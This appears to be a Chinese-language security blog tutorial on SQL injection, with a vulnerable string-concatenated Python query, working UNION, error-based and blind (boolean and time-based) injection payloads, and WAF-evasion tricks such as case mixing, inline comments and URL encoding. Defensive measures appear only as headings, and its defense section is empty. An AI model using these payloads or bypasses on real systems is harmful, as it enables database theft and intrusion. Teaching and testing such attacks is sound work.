返回文章列表使用参数化查询(预编译语句)
输入验证与白名单过滤
最小权限原则
部署WAF作为纵深防御层
Web安全
深入理解SQL注入:从原理到WAF绕过
2026-10-052156 次阅读15 分钟阅读
SQL注入原理
SQL注入的本质是用户输入被当作SQL代码执行。当应用程序直接将用户输入拼接到SQL语句中时,就产生了注入漏洞。
经典示例
python
# 存在注入的代码
query = "SELECT * FROM users WHERE username = '" + username + "'"
当输入 admin' OR '1'='1 时,实际执行的SQL为:
sql
SELECT * FROM users WHERE username = 'admin' OR '1'='1'
注入类型分类
1. 联合查询注入
利用UNION SELECT将恶意查询结果合并到原始查询中:
sql
' UNION SELECT 1,2,3,username,password FROM users--
2. 报错注入
利用数据库报错信息泄露数据:
sql
' AND extractvalue(1,concat(0x7e,(SELECT version()),0x7e))--
3. 盲注
当页面无回显时,通过布尔盲注或时间盲注逐位获取数据:
sql
# 布尔盲注
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE id=1)='a'--时间盲注
' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE id=1)='a',SLEEP(5),0)--
WAF绕过技巧
1. 大小写混合
text
SeLeCt * FrOm users
2. 内联注释
text
SEL//ECT * FR//OM users
3. 编码绕过
URL编码、Unicode编码、Hex编码等:
text
%53%45%4c%45%43%54 (SELECT的URL编码)
4. 分块传输
利用HTTP分块传输绕过基于内容的检测。
防御建议
#sql-injection#burpsuite#python